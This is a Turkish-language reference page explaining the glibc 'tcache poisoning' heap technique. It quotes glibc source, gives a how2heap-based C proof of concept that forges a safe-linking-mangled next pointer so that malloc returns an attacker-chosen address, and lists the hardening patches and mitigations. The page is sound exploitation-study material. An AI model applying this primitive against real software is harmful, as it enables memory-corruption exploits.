Skip to content

tcache poisoning

Free edilmiş bir chunk'ın next (fd) pointer'ını overwrite ederek, o size'ın sonraki malloc'unun attacker'ın seçtiği bir adresi döndürmesini sağlamak.

Mechanism

Suistimal edilen invariant: tcache_get, entries[tc_idx]'e ve chunk'ın next'ine körlemesine güvenir

tcache single-linked freelist'i neredeyse hiç doğrulama olmadan servis edilir. Free edilmiş bir chunk yalnızca, ilk word'ü bir sonraki free chunk'a olan forward pointer olan bir tcache_entry'dir:

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

tcache_get basitçe head'i pop eder ve e->next'i yeni list head'i olmaya yükseltir — e->next'in heap'e işaret ettiğini ya da gerçek bir chunk'ı adlandırdığını asla kontrol etmez:

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *) e;
}

Yani bir UAF/overflow kuyruğa alınmış bir chunk'ın next alanını yazabilirse, o size'ın ikinci allocation'ı forge edilmiş adresi döndürür. Fastbin'lerin aksine, hedefte size-field kontrolü yoktur, dolayısıyla herhangi bir hizalı yazılabilir adres çalışır. glibc ≥ 2.32'de next, PROTECT_PTR üzerinden mangle edilmiş olarak saklanır, dolayısıyla onu forge etmek için bir heap-adresi leak'i gerekir (bkz. Mitigation).

Bu, chunk-içi mangle edilmiş next'i forge eden single-shot bir primitive'dir; kontrol struct'ının ham/mangle edilmemiş entries[] head'lerini ve counts'unu corrupt edip her size class'ı aynı anda hijack eden global varyant için bkz. tcache metadata poisoning.

Walkthrough

Referans: shellphish how2heap tcache_poisoning.c (glibc 2.35). Poison write'ı safe-linking'i hesaba katmalıdır: hedef (long)b >> 12 ile XOR-mangle edilir.

size_t stack_var[0x10];
size_t *target = /* a 16-byte-aligned slot in stack_var */;

intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);                       // tcache list: [ b -> a ]

// VULNERABILITY: assumes the address of b is known (heap leak on 2.32+)
b[0] = (intptr_t)((long)target ^ (long)b >> 12);   // mangle next -> target

malloc(128);                   // returns b; list head advances to `target`
intptr_t *c = malloc(128);     // returns `target`
assert((long)target == (long)c);

Beklenen çıktı:

The address we want malloc() to return is 0x7ffe........
...
Now the tcache list has [ 0x.....2a0 -> 0x.....290 ].
Now the tcache list has [ 0x.....2a0 -> 0x7ffe........ ].
1st malloc(128): 0x.....2a0
2nd malloc(128): 0x7ffe........
We got the control

İki glibc hardening patch'i tarifi değiştirir

  • Patch 77dc0d86 (count kontrolü), bazı kurulumlarda fd'yi hijack etmeden önce bir ekstra padding chunk oluşturup free etmen gerektiği anlamına gelir.
  • Patch a1a486d7 safe-linking'i + aligned_OK kontrolünü tanıttı, dolayısıyla bir heap-adresi leak'i artık zorunlu ve hedef 16-byte aligned olmalıdır.

Mitigation

  • Safe-Linking (glibc ≥ 2.32) next'i PROTECT_PTR(pos, ptr) = ((pos >> 12) ^ ptr) olarak mangle eder, bir heap leak'i zorunlu kılar.
  • tcache_get'teki aligned_OK kontrolü, hizasız bir forge edilmiş pointer'da malloc(): unaligned tcache chunk detected ile abort eder.
  • key alanı artı free(): double free detected in tcache 2 kontrolü, poison'ı kurmak için kullanılan double-free varyantına karşı çıtayı yükseltir.

References